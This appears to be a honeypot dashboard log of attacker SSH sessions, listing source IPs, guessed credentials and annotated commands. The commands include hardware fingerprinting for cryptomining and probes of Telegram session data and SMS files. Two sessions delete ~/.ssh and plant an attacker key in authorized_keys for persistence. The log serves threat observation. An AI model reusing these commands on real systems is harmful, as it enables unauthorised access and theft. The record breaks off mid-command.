$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ร—14
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { grep -m1 -E "model name|Hardware" /proc/cpuinfo 2>/dev/null; lscpu 2>/dev/null | grep "Model name"; dmidecode -s processor-version 2>/dev/null; uname -p 2>/dev/null; busybox uname -p 2>/dev/null; } ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ร—5
๐ŸŽญ derelict_burger_root_23 (192.243.104.23) โ€” Dallas, United States ยท 1 session ยท 1 cmd
2026-08-22 16:28 EDT ยท as bitcoin/bitcoin
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a 2>/dev/null || echo 'Unknown'
๐ŸŽญ sullen_windmill_root (45.156.87.166) โ€” Eygelshoven, The Netherlands ยท 77 sessions ยท 77 cmds
2026-07-02 02:14 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 2x across 2 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—77
๐ŸŽญ nocturnal_autobahn_sol (89.163.254.46) โ€” Dรผsseldorf, Germany ยท 1 session ยท 1 cmd
2026-08-22 15:47 EDT ยท as solana/123456
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a 2>/dev/null || echo 'Unknown'
๐ŸŽญ derelict_seoul_sol (112.146.20.35) โ€” Jungnang-gu, South Korea ยท 1 session ยท 1 cmd
2026-08-22 15:43 EDT ยท as solana/123456
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a 2>/dev/null || echo 'Unknown'
๐ŸŽญ arctic_tulip_root (77.239.124.181) โ€” Amsterdam, The Netherlands ยท 10 sessions ยท 10 cmds
2026-08-22 14:00 EDT ยท as admin/123456, admin/admin, deploy/deploy123
Ran uname 3x across 3 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—10
๐ŸŽญ glitchy_silk_root_137 (111.229.95.137) โ€” Shanghai, China ยท 1 session ยท 1 cmd
2026-08-22 14:23 EDT ยท as oracle/oracle
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a
โ†ณ OS/kernel identification
๐ŸŽญ venomous_eagle_root (159.203.83.195) โ€” Clifton, United States ยท 1 session ยท 2 cmds
2026-08-22 13:42 EDT ยท as oracle/oracle1234!
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ stoic_bike_sol (31.56.209.211) โ€” Eygelshoven, The Netherlands ยท 1 session ยท 1 cmd
2026-08-22 11:44 EDT ยท as postgres/postgres
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a
โ†ณ CPU profiling
๐ŸŽญ manic_clog_sol (2.57.122.238) โ€” Amsterdam, The Netherlands ยท 288 sessions ยท 288 cmds
2026-07-04 21:21 EDT ยท as eth/eth, firedancer/firedancer, raydium/raydium
Ran uname 279x across 279 sessions โ€” automated OS fingerprinting.
$ /bin/./uname -s -v -n -r -m ร—288
โ†ณ obfuscated system check
๐ŸŽญ rogue_rogue_root (195.178.110.232) โ€” Andorra la Vella, Andorra ยท 180 sessions ยท 1590 cmds
2026-06-26 08:19 EDT ยท as admin/123456, admin/admin, admin/admin123
PATH normalization โ†’ OS fingerprinting via uname -s -v -n -m โ†’ kernel version extraction from /proc/version โ†’ OS release check via /etc/os-release โ†’ uptime sampling โ†’ hardware profiling for cryptomining suitability
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'execute_err='; out=$(bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' "$out" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ร—153
โ†ณ make executable
$ uname -s -v -n -m 2 > /dev/null ร—180
$ /bin/uname -s -v -n -m 2 > /dev/null ร—174
$ /usr/bin/uname -s -v -n -m 2 > /dev/null ร—174
$ busybox uname -s -v -n -m 2 > /dev/null ร—174
$ ( [ -f /proc/version ] ร—174
$ [ -f /proc/version ] ร—174
$ head -1 /proc/version | cut -d -f1 ร—174
$ [ -f /etc/os-release ] ร—174
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; echo; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; echo; cat /proc/device-tree/model 2>/dev/null; echo; lscpu 2>/dev/null | grep "Model name" | cut -d: -f2-; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ร—9
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { grep -m1 -E "model name|Hardware" /proc/cpuinfo 2>/dev/null; lscpu 2>/dev/null | grep "Model name"; dmidecode -s processor-version 2>/dev/null; uname -p 2>/dev/null; busybox uname -p 2>/dev/null; } ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ร—9
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { grep -m1 -E "model name|Hardware" /proc/cpuinfo 2>/dev/null; lscpu 2>/dev/null | grep "Model name"; dmidecode -s processor-version 2>/dev/null; uname -p 2>/dev/null; busybox uname -p 2>/dev/null; } ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output" ร—3
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" ร—6
$ uname -m 2 > /dev/null ร—6
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 ร—6
๐ŸŽญ stoic_jade_root_191 (111.197.4.191) โ€” Beijing, China ยท 1 session ยท 9 cmds
2026-08-22 10:16 EDT ยท as root/root
network mapping โ†’ OS/kernel identification โ†’ CPU profiling
$ /ip cloud print
$ ifconfig
โ†ณ network mapping
$ uname -a
โ†ณ OS/kernel identification
$ cat /proc/cpuinfo
โ†ณ CPU profiling
$ ps | grep '[Mm]iner'
$ ps -ef | grep '[Mm]iner'
$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*
$ locate D877F783D5D3EF8Cs
$ echo Hi | cat -n
๐ŸŽญ sullen_lantern_root (121.224.78.164) โ€” Nanjing, China ยท 1 session ยท 2 cmds
2026-08-22 10:16 EDT ยท as oracle/0racle
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ velvet_clog_root (2.57.122.168) โ€” Amsterdam, The Netherlands ยท 101 sessions ยท 909 cmds
2026-07-03 10:36 EDT ยท as admin/123456, admin/admin, admin/admin123
PATH injection prep โ†’ OS fingerprint via uname -s -v -n -m โ†’ kernel version extraction from /proc/version โ†’ OS detection via /etc/os-release
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'execute_err='; out=$(bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' "$out" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ร—88
โ†ณ make executable
$ uname -s -v -n -m 2 > /dev/null ร—101
$ /bin/uname -s -v -n -m 2 > /dev/null ร—101
$ /usr/bin/uname -s -v -n -m 2 > /dev/null ร—101
$ busybox uname -s -v -n -m 2 > /dev/null ร—101
$ ( [ -f /proc/version ] ร—101
$ [ -f /proc/version ] ร—101
$ head -1 /proc/version | cut -d -f1 ร—101
$ [ -f /etc/os-release ] ร—101
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo 